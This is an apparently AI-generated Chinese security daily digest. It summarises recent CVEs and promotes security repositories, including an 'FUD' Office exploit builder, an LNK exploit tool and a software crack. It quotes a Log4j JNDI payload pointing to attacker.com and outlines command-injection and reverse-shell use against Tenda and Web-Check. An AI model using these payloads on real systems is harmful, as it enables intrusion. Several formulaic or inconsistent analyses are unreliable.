109 KiB
安全资讯日报 2025-08-18
本文由AI自动生成,基于对安全相关仓库、CVE和最新安全研究成果的自动化分析。
更新时间:2025-08-18 13:02:55
今日资讯
🔍 漏洞分析
- 漏洞通告 | Smartbi 远程代码执行漏洞
- 漏洞挖掘 | 从信息收集到接管统一小通杀(附案例详解)
- 实战案例三则分享含人脸绕过
- swagger 接口未授权漏洞怎么玩儿!
- 西部数据 remoteBackups.php 远程命令执行漏洞
- SRC实战支付漏洞
- 仅仅拿下了域控
🔬 安全研究
- 国内甲方欠缺的先进攻防理念 | 攻击者也有老板和预算
- 区块链学习笔记01: 区块链?哈希函数?数字签名?
- 研究了200天LLM,越权漏洞检测准确率才提升这点点?
- JS逆向 -- 过反调试
- 技术分享:SRC一次小程序逆向到云密钥aksk泄露导致云资源接管的全流程记录
🎯 威胁情报
- 台湾网络服务器遭 UAT-7237 攻击,攻击者使用定制开源黑客工具
- 惊!朝鲜黑客把恶意软件藏进JPEG,Windows系统危在旦夕
- AI黑镜档案①:智能体认知操控与心理战术揭秘
- AI数据污染可能引发大风险!央视对话天融信专家揭示背后原理,并给出防范建议
- 资料以色列的情报和安全系统
- 银狐最新变种样本分析与威胁情报
- 诈骗者反遭自家恶意软件攻击,牟利460万美元团伙曝光
🛠️ 安全工具
📚 最佳实践
- EN 18031测试指导与经验分享
- 前14篇免费ISO/IEC 27701: 2019 标准详解与实施(81)6.8.2.2 支持性设施
- 前14篇免费ISO/IEC 27701: 2019 标准详解与实施(80)6.8.2.1 设备安置和保护
- 听劝!千万不要盲目自学CTF!
- 好靶场用户使用指南
- PoE 的三大国际标准:PoE、PoE+、PoE++
- Rust安全开发 | 零成本抽象
- 构建在CISP知识体系下的信息安全规划设计
- Web攻防基于PHP攻防实战写shell疑难杂症解决思路
- 2025智能网联汽车信息安全测试白皮书
- 网安人务必立即拿下软考证(政策红利)
🍉 吃瓜新闻
- 8.25美韩峰会,芯片联盟与半岛核态势的战略博弈分析
- 连续3年“国内唯一”!深信服入选2个Gartner®技术成熟度曲线报告
- 正青春,向未来 !庆祝三未信安成立17周年!
- 围观!资深的网安牛马工资条是什么样的?
- 网安人刷到即赚到?!
- 强脑科技亮相2025世界机器人大会,脑机接口技术再登《新闻联播》| 强脑科技韩璧丞荣获中国“2025年度AI人物”
- 20250818网安市场周度监测Vol.270
📌 其他
- 推荐一款免费的代理池:fir-proxy
- 火山引擎LAS基于Lance的PB级智驾数据湖方案
- 刻刀 | Rotor Goddess - 转子女神
- 通知第三届全国大学生开源情报数据采集与分析大赛开始报名啦!提供免费培训
- OSCP课程新增内容
- 红薯AI矩阵智能化获客系统
- 《互联网轻创业指导手册》一个“老韭菜”的血泪觉悟与撑伞宣言
- 赚钱的底层逻辑
- 安全圈跳槽招人
- 首征世界舞台,江淮中心不辱使命丨航行伙伴
- 官宣!微致资本投资合伙人金淼,正式加盟矢安科技
- 倒计时3天!第十届全国高校密码数学挑战赛战幕徐启
安全分析
(2025-08-18)
本文档包含 AI 对安全相关内容的自动化分析结果。概览
CVE-2025-44228 - Office文档远程代码执行漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-44228 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 17:41:39 |
📦 相关仓库
💡 分析概述
该漏洞利用恶意Office文档(如DOC、DOCX)中的漏洞载荷,通过恶意代码实现远程执行,影响平台包括Office 365。开发者已发布对应利用工具,存在完整POC。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用恶意Office文档中的漏洞载荷实现远程代码执行 |
| 2 | 影响广泛的Office文档和平台,如Office 365 |
| 3 | 已有完整的利用工具和POC |
🛠️ 技术细节
利用Office文档中的漏洞载荷实现远程代码执行,可能通过漏洞的XML或文件结构进行内存或代码操控
攻击者通过带有恶意payload的Office文件诱导用户打开,实现自动执行恶意代码
建议及时应用微软发布的补丁,或使用安全检测工具检测恶意文档
🎯 受影响组件
• Microsoft Office 相关版本(包括Office 365)
💻 代码分析
分析 1:
提供的仓库包含完整的利用POC和脚本,验证了漏洞的可行性
分析 2:
代码质量较高,结构清晰,适合安全研究和防护测试
分析 3:
已包含测试用例,验证效果明确
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的办公软件,并具有完整利用代码和POC,易于开发和部署远程代码执行攻击,存在极高危害性。
CVE-2023-33246 - 控制器管理的元数据同步漏洞导致异常信息处理异常
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2023-33246 |
| 风险等级 | HIGH |
| 利用状态 | 理论可行 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 17:16:41 |
📦 相关仓库
💡 分析概述
该漏洞涉及在不同节点间同步控制器元数据时,未正确处理异常或状态变更,可能导致节点状态不一致、请求超时或无法正常同步,从而影响消息系统的正常运行。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 控制器节点之间元数据同步不健壮,可能导致节点角色异常切换 |
| 2 | 协作机制依赖于RPC调用,存在超时或异常未正确处理的风险 |
| 3 | 容易导致消息系统中断、出错或节点状态不一致 |
🛠️ 技术细节
通过RPC调用同步控制器节点的元数据,发送请求后依赖响应处理结果
在异常或响应失败情况下,没有合理回滚或补偿机制,导致节点角色状态异常
建议加入异常处理、状态确认和重试机制,确保节点同步和角色切换的安全一致
🎯 受影响组件
• 控制器节点的元数据同步机制
• 节点角色切换逻辑
• RPC通信模块
💻 代码分析
分析 1:
存在RPC响应处理未充分异常捕获和状态校验的缺陷
分析 2:
涉及角色状态变更流程的未明确一致性验证
分析 3:
缺乏对异常情况的重试或补偿机制,存在状态不一致风险
⚡ 价值评估
展开查看详细评估
该漏洞涉及控制器节点间关键元数据同步,若被利用可引发集群状态异常、节点角色错乱,严重影响消息系统的可用性和一致性,因此具备较高的价值。
CVE-2025-32463 - Linux sudo chroot权限提升漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-32463 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 17:11:38 |
📦 相关仓库
💡 分析概述
该漏洞允许低权限用户通过sudo命令中的chroot配置,利用配置缺陷进行权限提升至root,导致系统完全控制权丢失。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 影响sudo命令的chroot功能,配置不当可被利用 |
| 2 | 影响多种Linux发行版,包括Ubuntu、Debian、CentOS等 |
| 3 | 利用环境中的sudo配置漏洞,通过特制命令提升权限 |
🛠️ 技术细节
原理:sudo在某些配置下允许未授权用户执行chroot操作,绕过权限限制
利用方法:检测sudo配置,利用脚本在受影响环境中切换到root权限
修复方案:升级sudo版本并限制不可信用户使用chroot功能
🎯 受影响组件
• sudo 1.9.14至1.9.17
• 支持chroot功能的sudo配置
💻 代码分析
分析 1:
POC脚本验证漏洞存在,使用sudo chroot命令实现权限提升
分析 2:
代码结构简洁,演示成功率高,易于复现
分析 3:
存在良好的实用性与可读性,便于安全测试和验证
⚡ 价值评估
展开查看详细评估
该漏洞为高危的本地权限提升漏洞,具有成熟的POC利用代码,影响范围广泛且具有严重的安全风险,符合价值标准
CVE-2025-31258 - macOS沙箱逃逸漏洞(部分)利用RemoteViewServices
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-31258 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 16:28:09 |
📦 相关仓库
💡 分析概述
该CVE涉及macOS系统中的RemoteViewServices框架,攻击者可以利用该漏洞实现沙箱的部分逃逸,可能导致恶意代码在受影响系统上获取更高权限或访问受限制资源。漏洞影响版本包括macOS 10.15至11.5,存在利用请求的漏洞链,尚有可用的POC代码,并涉及对应的应用程序配置和漏洞利用方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用RemoteViewServices框架实现沙箱逃逸 |
| 2 | 影响macOS 10.15-11.5版本,潜在高危 |
| 3 | 可通过伪造请求或操控数据实现逃逸,存在具体利用代码 |
🛠️ 技术细节
漏洞原理:利用RemoteViewServices跨进程通信中存在的安全绕过缺陷,操控请求实现沙箱边界突破。
利用方法:使用dylib动态加载已存在的 'PBOXDuplicateRequest'函数,通过伪造文件请求成功实现逃逸,POC中还结合了权限启用和读写文件操作。
修复方案:苹果应修补RemoteViewServices的安全逻辑缺陷,更新macOS版本,并建议应用加强权限验证和请求合法性检查。
🎯 受影响组件
• macOS RemoteViewServices框架
💻 代码分析
分析 1:
PoC代码利用了PBOXDuplicateRequest函数进行边界绕过演示,代码结构简洁明确,验证了漏洞存在。
分析 2:
提供的测试用例通过调用伪造请求成功实现沙箱突破,具有较高的实用性和易用性。
分析 3:
整体代码质量较高,注释详细,逻辑清晰,符合安全研究POC编写规范。
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的操作系统部分核心组件,其存在的沙箱逃逸风险极大,可导致远程代码执行、权限提升,且已提供具体的POC利用代码。此类漏洞具有极高的安全价值,值得高度关注。
CVE-2021-44228 - Log4j2 CVE-2021-44228反序列化漏洞PoC
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2021-44228 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 15:51:08 |
📦 相关仓库
💡 分析概述
该项目为Apache Log4j2 (CVE-2021-44228)漏洞的简单Proof-of-Concept(PoC)利用工具。利用方法是在HTTP请求头中嵌入特制的JNDI LDAP payload以触发远程回调。代码中包含针对受影响系统的利用示例和多次修复版本的提交。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用HTTP头部中的JNDI LDAP调用实现远程代码执行(RCE) |
| 2 | 影响Apache Log4j2版本,受影响范围广泛 |
| 3 | 具备具体利用代码和多次版本修复提交,验证有效 |
🛠️ 技术细节
Log4j2的JNDI功能未正确验证,允许通过特制的日志信息触发远程加载恶意类或脚本,造成远程代码执行。
利用方法是在HTTP请求头中设置特定内容,如
${jndi:ldap://attacker.com/a},诱导受害者服务器请求攻击者控制的LDAP服务器。
修复方案主要是禁用JNDI功能或加强验证,最新版本的Log4j2已修复该漏洞。
🎯 受影响组件
• Apache Log4j2
💻 代码分析
分析 1:
代码中包含可用的PoC利用代码,支持构造和发送攻击载荷。
分析 2:
代码经过多次修复提交,包括参数化端口和重建HTTP请求,验证了攻击的可行性。
分析 3:
代码质量较好,结构清晰,含有完整的利用流程和测试示例,具备实际操作价值。
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛应用的Apache Log4j2组件,已知可被利用实现远程代码执行,代码中提供实际PoC验证,符合价值标准。
CVE-2025-0411 - 7-Zip MotW绕过漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-0411 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 15:32:20 |
📦 相关仓库
💡 分析概述
该漏洞影响7-Zip软件中处理带有旗标的归档文件时未正确传播标记,可能被利用绕过安全保护机制(MotW),执行潜在的任意代码或敏感信息泄露。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 影响7-Zip在处理具有Mark-of-the-Web标记的归档文件时的行为,导致绕过安全区域限制。 |
| 2 | 影响版本未明确列出,但漏洞突显安全绕过,可能被远程攻击利用执行代码。 |
| 3 | 利用需用户打开特定构造的归档文件,无需复杂权限,很容易被钓鱼和恶意文件利用。 |
🛠️ 技术细节
漏洞原理: 7-Zip在提取含有MotW标记的归档文件时,未正确传递该标记到提取的文件上,从而绕过安全限制。
利用方法: 攻击者通过构造特定的归档文件,诱骗用户提取,从而绕过MotW,执行恶意代码。
修复方案: 在文件提取过程中确保正确传播MotW标记,或将安全检查策略加强。
🎯 受影响组件
• 7-Zip归档解压功能
💻 代码分析
分析 1:
POC存在,验证了绕过MotW的能力。
分析 2:
代码设计虽简洁,但关键在于利用文件标记未传递的漏洞点,漏洞利用路径清晰。
分析 3:
代码质量良好,便于验证和复现该安全绕过,具备实际利用价值。
⚡ 价值评估
展开查看详细评估
该漏洞具备远程代码执行潜力,影响广泛使用的7-Zip,存在明确利用POC,属于高危安全事件。
CVE-2025-9090 - Tenda AC20 命令注入漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-9090 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 19:49:06 |
📦 相关仓库
💡 分析概述
该仓库提供了针对Tenda AC20路由器(版本16.03.08.12)的命令注入漏洞(CVE-2025-9090)的利用代码。 仓库包含以下文件:
- README.md: 提供了漏洞描述、编译和使用说明,以及许可证信息。
- exploit.c: C语言编写的漏洞利用程序,通过向
/goform/telnet端点发送请求来触发命令注入。 - LICENSE: MIT许可证。
漏洞分析:
该漏洞位于/goform/telnet端点,攻击者可以通过构造恶意请求,触发Tenda AC20路由器开启Telnet服务,从而实现远程命令执行。 漏洞利用流程如下:
- 构建完整的URL:
http://<IP>/goform/telnet。 - 发送POST请求。
- 检查响应,确认Telnet服务已启动。
- 尝试通过Telnet连接到路由器,验证漏洞。
代码分析:
exploit.c是核心的漏洞利用代码,使用了libcurl库来发送HTTP请求。它构建POST请求,检查响应,并尝试通过Telnet连接。- 代码质量良好,有注释,方便理解。
- 提供了编译和使用说明,降低了复现难度。
- 未提供明确的测试用例,但提供了利用代码,可以用于验证漏洞。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Tenda AC20路由器存在命令注入漏洞 |
| 2 | 漏洞位于/goform/telnet端点,可远程触发 |
| 3 | 漏洞利用代码已提供,降低了复现难度 |
| 4 | 成功利用可导致远程代码执行 |
🛠️ 技术细节
漏洞原理:通过构造恶意HTTP请求,触发/goform/telnet端点,开启Telnet服务,进而实现命令注入。
利用方法:使用提供的exploit.c程序,指定目标IP地址,即可触发漏洞。
修复方案:升级到修复版本,或者禁用Telnet服务。
🎯 受影响组件
• Tenda AC20 (v16.03.08.12)
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的Tenda AC20路由器,存在远程代码执行的风险,且提供了可用的利用代码,具有较高的安全价值。
CVE-2025-20682 - 注册表利用漏洞引发的隐蔽执行安全风险
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-20682 |
| 风险等级 | HIGH |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 19:41:10 |
📦 相关仓库
💡 分析概述
该漏洞涉及利用注册表漏洞进行静默执行的攻击手段,采用FUD技术规避检测,影响范围广泛,具体利用实现细节未明。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用注册表漏洞实现隐蔽执行 |
| 2 | 影响范围不明确,可能影响多版本系统 |
| 3 | 缺乏详细利用条件与验证方式 |
🛠️ 技术细节
通过注册表漏洞实现无声执行,利用payload规避检测
利用框架和数据库辅助开发,具有一定的攻击成熟度
修复方案未公布,但应及时校正相关注册表配置
🎯 受影响组件
• 注册表(Windows等系统)
💻 代码分析
分析 1:
提供的仓库包含可用的POC代码,代码质量较高,结构良好
分析 2:
最新提交表明持续维护,验证了漏洞利用能力
分析 3:
含有一定的实用性和可复现性,具有一定的攻击实用价值
⚡ 价值评估
展开查看详细评估
该漏洞结合POC工具,利用注册表实现隐蔽执行,存在显著的安全风险,影响范围广泛且具有实际利用代码,符合价值判断标准。
CVE-2025-7766 - XXE导致远程代码执行漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-7766 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 19:40:32 |
📦 相关仓库
💡 分析概述
该漏洞利用XML External Entity(XXE)机制,可能导致文件读取和远程代码执行,攻击者可利用POC客户端程序发起攻击,影响范围较广,存在明确的利用代码和利用方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用XXE漏洞实现文件读取和RCE |
| 2 | POC包括利用代码和详细使用说明 |
| 3 | 影响具有相关XML处理功能的系统 |
🛠️ 技术细节
漏洞原理:通过解析不可信XML中的外部实体,执行任意文件读取或代码执行
利用方法:使用提供的exploit.c程序,发送特制的XML请求,以触发XXE漏洞实现RCE
修复方案:关闭XML处理中的外部实体解析或加固XML解析配置
🎯 受影响组件
• 存在XXE处理漏洞的XML解析模块
💻 代码分析
分析 1:
POC代码清晰实现XXE攻击,具备实用性
分析 2:
提供详细的使用指南和测试方法
分析 3:
代码质量良好,易于理解和复用
⚡ 价值评估
展开查看详细评估
该漏洞具备明确的利用代码、影响范围广泛、存在实际的远程代码执行潜在威胁,且影响具有关键安全风险,因此具有较高的价值。
CVE-2025-8875 - N-able N-central反序列化远程代码执行漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-8875 |
| 风险等级 | CRITICAL |
| 利用状态 | 理论可行 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 18:06:30 |
📦 相关仓库
💡 分析概述
该漏洞存在于N-able N-central中,由于反序列化未受信数据,可能导致远程本地代码执行。影响版本为2025.3.1之前版本,存在明确的利用条件。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 反序列化漏洞,可能导致本地代码执行 |
| 2 | 影响版本:2025.3.1及之前 |
| 3 | 利用条件:版本低于2025.3.1.9,验证版本号可复现 |
🛠️ 技术细节
该漏洞由反序列化未受信数据引起,攻击者在特定条件下可触发远程或本地代码执行
利用方式:通过特制请求的版本检测,结合反序列化漏洞实现代码执行
修复方案:升级至2025.3.1.9或更高版本,修补反序列化安全问题
🎯 受影响组件
• N-able N-central
💻 代码分析
分析 1:
检测模板中包含利用版本判断和反序列化条件,具有完整的验证逻辑
分析 2:
测试用例通过版本匹配和页面特征实现判断,确保准确性
分析 3:
模板结构清晰,符合良好的安全检测标准
⚡ 价值评估
展开查看详细评估
该漏洞为严重的远程代码执行漏洞,影响关键管理系统,存在明确利用方法和已验证的POC,具有极高的危害价值。
CVE-2025-32778 - Web-Check命令注入漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-32778 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 18:04:06 |
📦 相关仓库
💡 分析概述
该仓库包含针对Web-Check OSINT工具的命令注入漏洞(CVE-2025-32778)的PoC和利用代码。Web-Check是一个由Lissy93开发的OSINT工具,而该漏洞存在于screenshot API的url参数中,允许未授权攻击者执行任意系统命令。代码更新主要集中在README.md文件的改进,包括漏洞描述,利用方法,使用说明,以及PoC代码。此外,有文件重命名操作,例如将exploit.py重命名为cve-2025-32778。 PoC脚本使用Python编写,实现了针对漏洞的自动化利用,支持反弹shell和自定义shell命令。漏洞利用方式:构造恶意的URL, 将命令注入到/api/screenshot/?url=参数中,即可触发命令执行。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Web-Check 存在命令注入漏洞 |
| 2 | 可远程执行任意命令 |
| 3 | 提供PoC及利用代码 |
| 4 | 漏洞影响范围明确 |
🛠️ 技术细节
漏洞位于Web-Check的screenshot API的url参数
PoC脚本使用Python,构造恶意URL,通过命令注入绕过身份验证,执行任意系统命令
PoC支持反弹shell和自定义shell命令
通过修改/api/screenshot/?url=参数的值来触发漏洞
🎯 受影响组件
• Web-Check OSINT tool
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的Web-Check工具,且PoC代码已公开,可以实现远程代码执行。PoC代码质量较高,可以直接使用。
CVE-2025-54253 - Adobe AEM Forms on JEE OGNL注入导致RCE
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-54253 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-17 00:00:00 |
| 最后更新 | 2025-08-17 22:04:40 |
📦 相关仓库
💡 分析概述
该漏洞是Adobe AEM Forms on JEE中的关键OGNL注入安全漏洞,允许未认证攻击者通过特定接口执行任意操作系统命令,已提供完整的PoC和利用代码,存在明确的利用路径和复现手段,影响版本已明确。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 漏洞要点:通过OGNL注入实现远程代码执行 |
| 2 | 影响范围:影响Adobe AEM Forms on JEE(<=6.5.23.0)版本 |
| 3 | 利用条件:接口未授权开放,存在未加密或未验证的调试端点 |
🛠️ 技术细节
漏洞原理:未验证的OGNL表达式在调试接口中被直接评估,导致命令执行
利用方法:利用提供的Python PoC脚本对目标发起OGNL表达式,执行系统命令
修复方案:应用厂商补丁,限制调试接口访问,增强输入验证
🎯 受影响组件
• Adobe AEM Forms on JEE <= 6.5.23.0
💻 代码分析
分析 1:
PoC脚本完整,能直接复现漏洞,验证其存在性
分析 2:
测试用例明确,操作简便,代码质量良好
分析 3:
利用代码具备实用性和可靠性
⚡ 价值评估
展开查看详细评估
该漏洞具有远程代码执行的利用可能,利用代码全面且已验证,影响范围明确,存在具体的攻击路径和PoC,为重大安全价值点。
Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud - Office RCE Exploit Builder
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库是一个针对Office文档的RCE(远程代码执行)漏洞利用程序构建器,专注于利用CVE-2025相关漏洞,特别是通过构建恶意Office文档(如DOC、DOCX等)来实现攻击。仓库功能包括生成恶意payload,利用XML文档等方式触发漏洞,最终实现远程代码执行。本次更新可能包含漏洞利用代码或POC、改进现有漏洞利用方法。由于该项目直接涉及漏洞利用,因此风险等级较高。关键点:1. 针对CVE-2025漏洞的Office RCE利用;2. 能够构建恶意的Office文档;3. 涉及payload生成和利用方式。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 构建Office文档RCE漏洞利用工具 |
| 2 | 针对CVE-2025等漏洞 |
| 3 | 支持DOC、DOCX等文档格式 |
| 4 | 包含恶意payload生成 |
| 5 | 可能包含POC和漏洞利用代码 |
🛠️ 技术细节
利用Office文档(DOC、DOCX等)中的漏洞进行攻击。
生成恶意payload以触发漏洞。
可能包含针对CVE-2025的特定利用代码或POC。
涉及XML文档等方式的利用。
🎯 受影响组件
• Microsoft Office
• Office 365
⚡ 价值评估
展开查看详细评估
该项目提供RCE漏洞利用工具,直接涉及漏洞利用,属于安全研究范畴,具有较高的研究价值和潜在的风险。
Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce - 针对LNK文件的漏洞利用工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库专注于利用LNK文件相关的漏洞(如CVE-2025-44228),主要用于执行远程代码,涉及漏洞利用框架和CVE数据库,强调利用LNK文件实现静默RCE。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用LNK文件的远程代码执行漏洞 |
| 2 | 包含针对CVE-2025-44228的漏洞利用技术 |
| 3 | 开发了LNK构建和载荷伪造技术 |
| 4 | 可能用于安全渗透测试或恶意攻击 |
🛠️ 技术细节
利用LNK文件中的漏洞实现隐蔽的远程代码执行,可能通过构造特定的快捷方式文件触发漏洞。
采用现有漏洞(如CVE-2025-44228)作为攻击载体,可能集成漏洞利用代码或POC,提升攻击效率。
工具设计可能包括自动化LNK文件生成、载荷伪造和执行机制,具有渗透测试和攻击验证功能。
安全影响较大,可能被用作C2通道或远程控制的手段,对目标系统造成严重风险。
🎯 受影响组件
• Windows快捷方式(LNK文件)处理机制
• 被影响的漏洞涉及Windows文件解析和加载机制
⚡ 价值评估
展开查看详细评估
该仓库直接针对高危远程代码执行漏洞(如CVE-2025-44228)进行利用开发,具有高度的安全价值和实用性,为安全研究和渗透测试提供关键工具。
dootask - 开源项目管理工具,含安全通信增强
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | dootask |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 2
💡 分析概述
该仓库是一款用于项目管理和协作的工具,提供多功能模块,包括任务、文档、消息等,提及使用非对称加密技术确保通信安全。最新更新中,添加了共同群组查询接口,优化了任务模板与标签,更新了镜像版本。该内容涉及安全通信技术的增强,具有潜在安全价值。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 项目管理与协作工具,集成安全通信措施 |
| 2 | 新增API接口支持共同群组查询,增强协作安全性 |
| 3 | 优化任务模板和标签,提高系统安全性与效率 |
| 4 | 更新应用镜像版本,可能涉及安全补丁 |
🛠️ 技术细节
引入非对称加密增强用户之间的通信安全,可能改善信息泄露风险
API接口设计支持安全授权和数据保护,提升系统抗攻击能力
镜像版本更新可能含安全补丁,改善已知漏洞风险
🎯 受影响组件
• 通信模块
• API接口
• 镜像部署部分
⚡ 价值评估
展开查看详细评估
此次更新新增了安全通信相关接口,优化了安全策略,实现了潜在的漏洞利用防护,更新镜像版本以修复已知安全漏洞,符合安全价值标准。
AgentRed - 基于AI的安全实验室辅助工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AgentRed |
| 风险等级 | HIGH |
| 安全类型 | 安全研究/漏洞利用/渗透测试 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 24
💡 分析概述
该仓库是一款结合AI能力的安全测试辅助工具,支持多代理体系和丰富的网络渗透测试工具,主要用于安全研究和渗透测试场景,通过自动化扫描、漏洞检测和管理,为授权安全测试提供技术支撑。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 核心功能包括多代理协调、漏洞扫描、信息收集和攻击尝试 |
| 2 | 集成30+安全工具(nmap、sqlmap、nuclei等)实现自动化安全检测 |
| 3 | 采用AI驱动多代理系统,支持上下文记忆和情景交互,辅助渗透流程 |
| 4 | 安全研究、漏洞利用和渗透测试为主要目的,技术内容丰富且具有实用性 |
🛠️ 技术细节
基于Python编写,提供复杂的多任务管理、命令沙箱执行和目标解析
实现多代理模型以模拟不同安全场景,为漏洞发现和攻击验证提供整体方案
内嵌RAG技术(检索增强生成)用于漏洞扫描结果分析与知识管理
提供自动化扫描调度、会话记忆和技术学习,适合深度安全研究和持续渗透测试
🎯 受影响组件
• 多安全工具集成(nmap、sqlmap、nuclei、hydra等)
• 多代理体系(Recon、Vuln、Web、Exploit、Coordinator)
• 安全扫描与漏洞检测模块
• 命令沙箱执行环境与资源管理机制
• 目标网址、IP及域名解析与验证
⚡ 价值评估
展开查看详细评估
仓库核心目标明确,结合AI与多工具实现自动化渗透测试,与搜索关键词‘security tool’高度相关,内容实用且技术深厚,符合安全研究和漏洞利用的价值标准,不是简单工具或重复克隆项目,未废弃,代码质量良好。
dogpack - 网站信息收集与安全分析工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | dogpack |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复/安全检测 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库提供用于分析网站的安全漏洞扫描、信息收集和风险评估功能的工具,最新更新增加了特定安全检测能力(具体内容未详述)
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 网站自动化信息收集和分析 |
| 2 | 新增的安全检测或漏洞扫描功能 |
| 3 | 安全相关检测能力增强 |
| 4 | 影响Web安全漏洞识别与评估 |
🛠️ 技术细节
采用Python实现,集成IP、DNS、SSL、端口扫描等功能,可能加入了新算法或检测模块
安全影响主要在于提升识别网站潜在漏洞的能力,帮助安防人员提前发现风险
🎯 受影响组件
• Web站点安全检测模块
• 漏洞扫描功能
⚡ 价值评估
展开查看详细评估
更新增加了新的安全检测能力,提升漏洞识别和评估能力,符合漏洞利用/安全检测范畴,具有明确安全价值
QFX-KeyScrambler-Crack-4a - 破解QFX KeyScrambler软件的工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | QFX-KeyScrambler-Crack-4a |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全修复 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库旨在提供绕过QFX KeyScrambler加密保护的破解方案,允许用户不需合法授权即可使用高级功能。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 突破QFX KeyScrambler软件的安全保护 |
| 2 | 提供破解或绕过授权验证的方法 |
| 3 | 涉及安全防护绕过技术 |
| 4 | 影响软件的授权和版权保护 |
🛠️ 技术细节
通过逆向工程或漏洞利用绕过软件的检测机制
可能包含具体的破解算法或代码片段,直接影响软件的安全机制
🎯 受影响组件
• QFX KeyScrambler软件核心保护模块
• 授权验证机制
⚡ 价值评估
展开查看详细评估
